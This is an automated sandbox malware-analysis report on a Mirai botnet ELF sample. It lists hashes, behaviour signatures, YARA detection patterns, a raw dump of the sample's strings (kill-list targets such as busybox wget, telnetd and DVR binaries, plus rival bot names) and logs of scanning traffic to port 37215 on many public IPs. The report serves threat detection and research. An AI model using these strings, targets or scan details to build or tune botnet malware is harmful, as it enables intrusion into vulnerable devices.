Edit tour

Linux Analysis Report
8uGjvDZ9vr.elf

Overview

General Information

Sample name:	8uGjvDZ9vr.elf renamed because original name is a hash value
Original sample name:	288cecba70aa50eb36637ff0035f7009.elf
Analysis ID:	1373070
MD5:	288cecba70aa50eb36637ff0035f7009
SHA1:	465572c96afd039c0bf68f5c7041e1676009a708
SHA256:	65d6c45c5597e86540162e9f0cdc3359e80f930c830eeea510b52d96173d88ea
Tags:	32elfmirairenesas
Infos:

Detection

Mirai

Score:	88
Range:	0 - 100
Whitelisted:	false

Signatures

Antivirus / Scanner detection for submitted sample

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Yara detected Mirai

Connects to many ports of the same IP (likely port scanning)

Uses known network protocols on non-standard ports

Detected TCP or UDP traffic on non-standard ports

Enumerates processes within the "proc" file system

Found strings indicative of a multi-platform dropper

HTTP GET or POST without a user agent

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample has stripped symbol table

Sample tries to kill a process (SIGKILL)

Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)

Uses the "uname" system call to query kernel version information (possible evasion)

Yara signature match

Classification

Analysis Advice

Some HTTP requests failed (404). It is likely that the sample will exhibit less behavior.

Static ELF header machine description suggests that the sample might not execute correctly on this machine.

All HTTP servers contacted by the sample do not answer. The sample is likely an old dropper which does no longer work.

General Information

Joe Sandbox version:	38.0.0 Ammolite
Analysis ID:	1373070
Start date and time:	2024-01-11 14:35:10 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 4s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	8uGjvDZ9vr.elf renamed because original name is a hash value
Original Sample Name:	288cecba70aa50eb36637ff0035f7009.elf
Detection:	MAL
Classification:	mal88.troj.linELF@0/1025@20/0

Warnings

Report size exceeded maximum capacity and may have missing network information.

Runtime Messages

Command:	/tmp/8uGjvDZ9vr.elf
PID:	6207
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	done.
Standard Error:

Process Tree

system is lnxubuntu20

8uGjvDZ9vr.elf (PID: 6207, Parent: 6125, MD5: 8943e5f8f8c280467b4472c15ae93ba9) Arguments: /tmp/8uGjvDZ9vr.elf

8uGjvDZ9vr.elf New Fork (PID: 6209, Parent: 6207)

8uGjvDZ9vr.elf New Fork (PID: 6211, Parent: 6209)

8uGjvDZ9vr.elf New Fork (PID: 6212, Parent: 6209)

8uGjvDZ9vr.elf New Fork (PID: 6215, Parent: 6209)

8uGjvDZ9vr.elf New Fork (PID: 6218, Parent: 6209)

gnome-session-binary New Fork (PID: 6220, Parent: 1477)

sh (PID: 6220, Parent: 1477, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /bin/sh -e -u -c "export GIO_LAUNCHED_DESKTOP_FILE_PID=$$; exec \"$@\"" sh /usr/libexec/gsd-print-notifications

gsd-print-notifications (PID: 6220, Parent: 1477, MD5: 71539698aa691718cee775d6b9450ae2) Arguments: /usr/libexec/gsd-print-notifications

gsd-print-notifications New Fork (PID: 6228, Parent: 6220)

gsd-print-notifications New Fork (PID: 6229, Parent: 6228)

gsd-printer (PID: 6229, Parent: 1, MD5: 7995828cf98c315fd55f2ffb3b22384d) Arguments: /usr/libexec/gsd-printer

gdm3 New Fork (PID: 6230, Parent: 1320)

Default (PID: 6230, Parent: 1320, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /etc/gdm3/PrimeOff/Default

gdm3 New Fork (PID: 6250, Parent: 1320)

Default (PID: 6250, Parent: 1320, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /etc/gdm3/PrimeOff/Default

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Mirai	Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.	No Attribution	http://osint.bambenekconsulting.com/feeds/ http://www.simonroses.com/2016/10/mirai-ddos-botnet-source-code-binary-analysis/ https://blog.malwaremustdie.org/2020/02/mmd-0065-2021-linuxmirai-fbot-re.html https://blog.netlab.360.com/another-lilin-dvr-0-day-being-used-to-spread-mirai-en/ https://blog.netlab.360.com/mirai_ptea-botnet-is-exploiting-undisclosed-kguard-dvr-vulnerability-en/	https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
8uGjvDZ9vr.elf	JoeSecurity_Mirai_3	Yara detected Mirai	Joe Security
8uGjvDZ9vr.elf	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
8uGjvDZ9vr.elf	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x18698:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x186ac:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x186c0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x186d4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x186e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x186fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x18710:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x18724:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x18738:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1874c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x18760:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x18774:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x18788:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1879c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x187b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x187c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x187d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x187ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x18800:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x18814:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x18828:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F

Memory Dumps

Source	Rule	Description	Author	Strings
6215.1.00007fa374400000.00007fa37441d000.r-x.sdmp	JoeSecurity_Mirai_3	Yara detected Mirai	Joe Security
6215.1.00007fa374400000.00007fa37441d000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6215.1.00007fa374400000.00007fa37441d000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x18698:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x186ac:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x186c0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x186d4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x186e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x186fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x18710:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x18724:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x18738:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1874c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x18760:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x18774:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x18788:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1879c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x187b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x187c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x187d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x187ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x18800:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x18814:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x18828:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6207.1.00007fa374400000.00007fa37441d000.r-x.sdmp	JoeSecurity_Mirai_3	Yara detected Mirai	Joe Security
6207.1.00007fa374400000.00007fa37441d000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6207.1.00007fa374400000.00007fa37441d000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x18698:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x186ac:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x186c0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x186d4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x186e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x186fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x18710:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x18724:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x18738:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1874c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x18760:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x18774:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x18788:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1879c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x187b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x187c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x187d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x187ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x18800:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x18814:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x18828:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
Process Memory Space: 8uGjvDZ9vr.elf PID: 6207	JoeSecurity_Mirai_3	Yara detected Mirai	Joe Security
Process Memory Space: 8uGjvDZ9vr.elf PID: 6207	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x484e:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x4862:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x4876:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x488a:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x489e:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x48b2:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x48c6:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x48da:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x48ee:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x4902:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x4916:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x492a:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x493e:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x4952:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x4966:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x497a:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x498e:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x49a2:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x49b6:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x49ca:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x49de:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
Process Memory Space: 8uGjvDZ9vr.elf PID: 6215	JoeSecurity_Mirai_3	Yara detected Mirai	Joe Security
Process Memory Space: 8uGjvDZ9vr.elf PID: 6215	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x753b:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x754f:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x7563:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x7577:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x758b:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x759f:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x75b3:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x75c7:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x75db:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x75ef:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x7603:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x7617:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x762b:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x763f:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x7653:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x7667:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x767b:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x768f:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x76a3:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x76b7:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x76cb:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
Click to see the 5 entries

String: Content-Length: /proc/proc/%d/cmdlinenetstatcurlechocatbin/busyboxbusybox wget/proc//proc/%s/exe/proc/self/exevar/Challengeapp/hi3511gmDVRiboxusr/dvr_main _8182T_1108mnt/mtd/app/guivar/Kylinl0 c/udevdanko-app/ankosample _8182T_1104var/tmp/soniahicorestm_hi3511_dvr/bin/busybox/usr/lib/systemd/systemd/usr/libexec/openssh/sftp-serverusr/shellmnt/sys/bin/tmp/boot/proc/media/srv/var/run/sbin/lib/etc/dev/home/Davincitelnetsshwatchdog/var/spool/var/Sofiasshd/usr/compress/bin//compress/bin/compress/usr/bashhttpdtelnetddropbearropbearencodersystemcundicundi.*var/Condibin/Condibin/babylonetop1hbttop1hbt./root/dvr_gui//root/dvr_app//anko-app/902i13BzSxLxBxeYHOHO-LUGO7HOHO-U79OLJuYfouyf87NiGGeR69xdSO190Ij1XLOLKIKEEEDDEekjheory98escansh4MDMAfdevalvexscanspcMELTEDNINJAREALZflexsonskidsscanx86MISAKI-U79OLfoAxi102kxeswodjwodjwojMmKiy7f87lfreecookiex86sysgpufrgegesysupdater0DnAzepdNiGGeRD0nks69frgreu0x766f6964NiGGeRd0nks1337gafturasgbsigboa120i3UI49OaF3geaevaiolmao123123aOfurain0n4H34DggTrexewwasads1293194hjXDOthLaLosnggtwget-log1337SoraLOADERSAIAKINAggtq1378bfp919GRB1Q2SAIAKUSOggtr14FaSEXSLAVE1337ggtt1902a3u912u3u4haetrghbr19ju3dSORAojkf120hehahejeje922U2JDJA901F91SlaVLav12helpmedaddthhhhh2wgg9qphbqSlav3Th3seD3viceshzSmYZjYMQ5GbfsoraSoRAxD123LOLiaGv5aA3SoRAxD420LOLinsomni640277SoraBeReppin1337ipcamCache66tlGg9QjUYfouyf876ke3TOKYO3lyEeaXul2dULCVxh93OfjHZ2zTY2gD6MZvKc7KU6rmMkiy6f87lA023UU4U24UIUTheWeekndmioribitchesA5p9TheWeekndsmnblkjpoiAbAdTokyosnebAkiruU8inTznetstatsAlexW9RCAKM20TnewnetwordAyo215WordnloadsBAdAsVWordmanenotyakuzaaBelchWordnetsobpBigN0gg0r420X0102I34fofhasfhiafhoiX19I239124UIUoismXSHJEHHEIIHWOolsVNwo12DeportedDeportedXkTer0GbA1onry0v03FortniteDownLOLZY0urM0mGaypussyfartlmaojkGrAcEnIgGeRaNnYvdGkqndCOqGeoRBe6BEGuiltyCrownZEuS69s4beBsEQhdHOHO-KSNDOZEuz69sat1234aj93hJ23scanHAalie293z0k2LscanJoshoARMHellInSideayyyGangShitscanJoshoARM5HighFryb1glscanJoshoARM6IWhPyucDbJboatnetzscanJoshoARM7IuYgujeIqnbtbatrtahzexsexscanJoshoM68KJJDUHEWBBBIBscanJoshoMIPSJSDGIEVIVAVIGcKbVkzGOPascanJoshoMPSLccADscanJoshoPPCKAZEN-OIU97chickenxingsscanJoshoSH4yakuskzm8KAZEN-PO78HcleanerscanJoshoSPCKAZEN-U79OLdbeefscanJoshoX86yakuz4c24KETASHI32ddrwelperscanarm5zPnr6HpQj2Kaishi-Iz90Ydeexecscanarm6zdrtfxcgyKatrina32doCP3fVjscanarm7zxcfhuioKsif91je39scanm68kKuasadvrhelperl33t_feetl33tl33tfeetscanmipsKuasaBinsMateeQnOhRk85rscanmpslLOLHHHOHOHBUIeXK20CL12ZnyamezyQBotBladeSPOOKYhikariwasherep4029x91xx32uhj4gbejhwizardzhra.outboatnetdbgcondiheroshimaskid.dbglzrdPownedSecurity69.aresfxlyazsxhyUNSTABLEunstable_is_the_story_of_the_universemoobotjnsd9sdoilayourmomgaeissdfjiougsiojOasisSEGRJIJHFVNHSNHEIHFOSapep999KOWAI-BAdAsVKOWAI-SADjHKipU7Ylairdropmalwareyour_verry_fucking_gayBig-Bro-Brightsefaexecshirololieagle.For-Gai-Mezy0x6axNLcloqkisvspookymythSwergjmioGKILLEJW(IU(JIWERGFJGJWJRGHetrhwewrtheIuFdKssCxzjSDFJIjioOnrYoXd666ewrtkjokethajbdf89wu823AAaasrdgsWsGA4@F6FGhostWuzHere666BOGOMIPSbeastmodedvrHelperbestmodesfc6aJfIuYDemon.xeno-is-godICY-P-0ODIJgSHUIHIfhwrgLhu87VhvQPzlunadakuexecbinT

Networking

Connects to many ports of the same IP (likely port scanning)

Source: global traffic	TCP traffic: 197.7.128.80 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.246.70.53 ports 1,2,3,5,7,37215

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 34874 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58814 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37215 -> 58814
Source: unknown	Network traffic detected: HTTP traffic on port 49976 -> 37215

Source: global traffic	TCP traffic: 192.168.2.23:39628 -> 157.62.226.134:37215
Source: global traffic	TCP traffic: 192.168.2.23:39628 -> 41.173.40.16:37215
Source: global traffic	TCP traffic: 192.168.2.23:39628 -> 141.96.73.4:37215
Source: global traffic	TCP traffic: 192.168.2.23:39628 -> 41.228.77.208:37215
Source: global traffic	TCP traffic: 192.168.2.23:39628 -> 89.37.187.133:37215
Source: global traffic	TCP traffic: 192.168.2.23:39628 -> 157.28.125.191:37215
Source: global traffic	TCP traffic: 192.168.2.23:39628 -> 197.211.99.226:37215
Source: global traffic	TCP traffic: 192.168.2.23:39628 -> 41.13.122.105:37215
Source: global traffic	TCP traffic: 192.168.2.23:39628 -> 120.154.240.6:37215
Source: global traffic	TCP traffic: 192.168.2.23:39628 -> 103.3.83.197:37215
Source: global traffic	TCP traffic: 192.168.2.23:39628 -> 160.220.158.54:37215
Source: global traffic	TCP traffic: 192.168.2.23:39628 -> 77.1.81.135:37215
Source: global traffic	TCP traffic: 192.168.2.23:39628 -> 197.199.20.28:37215
Source: global traffic	TCP traffic: 192.168.2.23:39628 -> 188.219.250.133:37215
Source: global traffic	TCP traffic: 192.168.2.23:39628 -> 197.168.197.92:37215
Source: global traffic	TCP traffic: 192.168.2.23:39628 -> 197.32.217.119:37215
Source: global traffic	TCP traffic: 192.168.2.23:39628 -> 157.187.135.213:37215
Source: global traffic	TCP traffic: 192.168.2.23:39628 -> 41.167.136.216:37215
Source: global traffic	TCP traffic: 192.168.2.23:39628 -> 197.194.11.248:37215
Source: global traffic	TCP traffic: 192.168.2.23:39628 -> 41.156.139.246:37215
Source: global traffic	TCP traffic: 192.168.2.23:39628 -> 157.102.120.98:37215
Source: global traffic	TCP traffic: 192.168.2.23:39628 -> 206.37.36.41:37215
Source: global traffic	TCP traffic: 192.168.2.23:39628 -> 157.249.0.247:37215
Source: global traffic	TCP traffic: 192.168.2.23:39628 -> 157.55.120.73:37215
Source: global traffic	TCP traffic: 192.168.2.23:39628 -> 197.32.62.188:37215
Source: global traffic	TCP traffic: 192.168.2.23:39628 -> 157.123.154.179:37215
Source: global traffic	TCP traffic: 192.168.2.23:39628 -> 41.12.95.44:37215
Source: global traffic	TCP traffic: 192.168.2.23:39628 -> 63.63.187.238:37215
Source: global traffic	TCP traffic: 192.168.2.23:39628 -> 197.45.192.156:37215
Source: global traffic	TCP traffic: 192.168.2.23:39628 -> 197.86.22.194:37215
